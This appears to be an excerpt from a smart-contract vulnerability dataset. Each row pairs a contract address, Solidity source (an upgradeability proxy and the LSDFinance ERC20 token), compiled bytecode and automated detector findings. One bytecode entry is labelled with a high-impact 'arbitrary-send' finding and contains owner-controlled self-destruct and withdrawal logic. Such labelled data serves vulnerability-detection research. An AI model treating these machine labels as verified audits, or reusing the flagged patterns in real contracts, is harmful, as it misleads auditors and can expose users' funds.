1663a9059cbb601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610db657600080fd5b505af1158015610dca573d6000803e3d6000fd5b505050506040513d6020811015610de057600080fd5b81019080805190602001909291905050501515610dfc57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600981815481101515610e4557fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ecf57600080fd5b80600a60006101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610feb573d6000803e3d6000fd5b50565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104f57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60035481565b600a60009054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60019054906101000a900460ff1681565b60085481565b6000601654905090565b600080600084141561129657600091506112b5565b82840290508284828115156112a757fe5b041415156112b157fe5b8091505b5092915050565b60008082848115156112ca57fe5b0490508091505092915050565b60008282111515156112e557fe5b818303905092915050565b6000670de0b6b3a76400008302905082600660008282540192505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631e02f80585846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156113d457600080fd5b505af11580156113e8573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b505050506040513d60208110156114db57600080fd5b810190808051906020019092919050505015156114f757600080fd5b7f8a7eaad672c52c2966090bc8f26a335bf67d8d1d442189f2f7e430c26aab99ec8482604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b6000662386f26fc10000905060008211151561158357600080fd5b8160088190555061159d82826112bc90919063ffffffff16565b60168190555050505600a165627a7a7230582082926b753297477249248ebfd518128ade838fcb14d27da6a40751e2b8c515660029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,532
0x53aa48b2ac0071a6ce61ddb3ba4e41d395b2db51
/** *Submitted for verification at Etherscan.io on 2020-11-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f18021ccf4caeda92381153066b90d5e1abbacce61a73ea8e94a8529b70a5f8e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
9,533
0xd003b4743a81e7d94553b48f0741cb956c32faed
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title LSDFinance * @dev LSDFinance is an ERC20 implementation of the LSDFinance ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract LSDFinance is Ownable, ERC20Pausable { string public constant name = "LSD Finance"; string public constant symbol = "LSD"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 13000*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610420565b604080519115158252519081900360200190f35b6101f661044b565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610451565b61024661047e565b6040805160ff9092168252519081900360200190f35b6101f6610483565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610491565b6102986104b5565b005b610298600480360360208110156102b057600080fd5b503561055c565b6101da610569565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b0316610579565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610594565b6102986105a2565b610321610650565b604080516001600160a01b039092168252519081900360200190f35b6101da61065f565b610139610670565b6101da6004803603604081101561036357600080fd5b506001600160a01b03813516906020013561068f565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106b3565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106d7565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610702565b6040518060400160405280600b81526020016a4c53442046696e616e636560a81b81525081565b600354600090600160a01b900460ff161561043a57600080fd5b61044483836107fc565b9392505050565b60025490565b600354600090600160a01b900460ff161561046b57600080fd5b610476848484610812565b949350505050565b601281565b6902c0bb3dd30c4e20000081565b600354600090600160a01b900460ff16156104ab57600080fd5b6104448383610869565b6104bd61065f565b61050e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052457600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d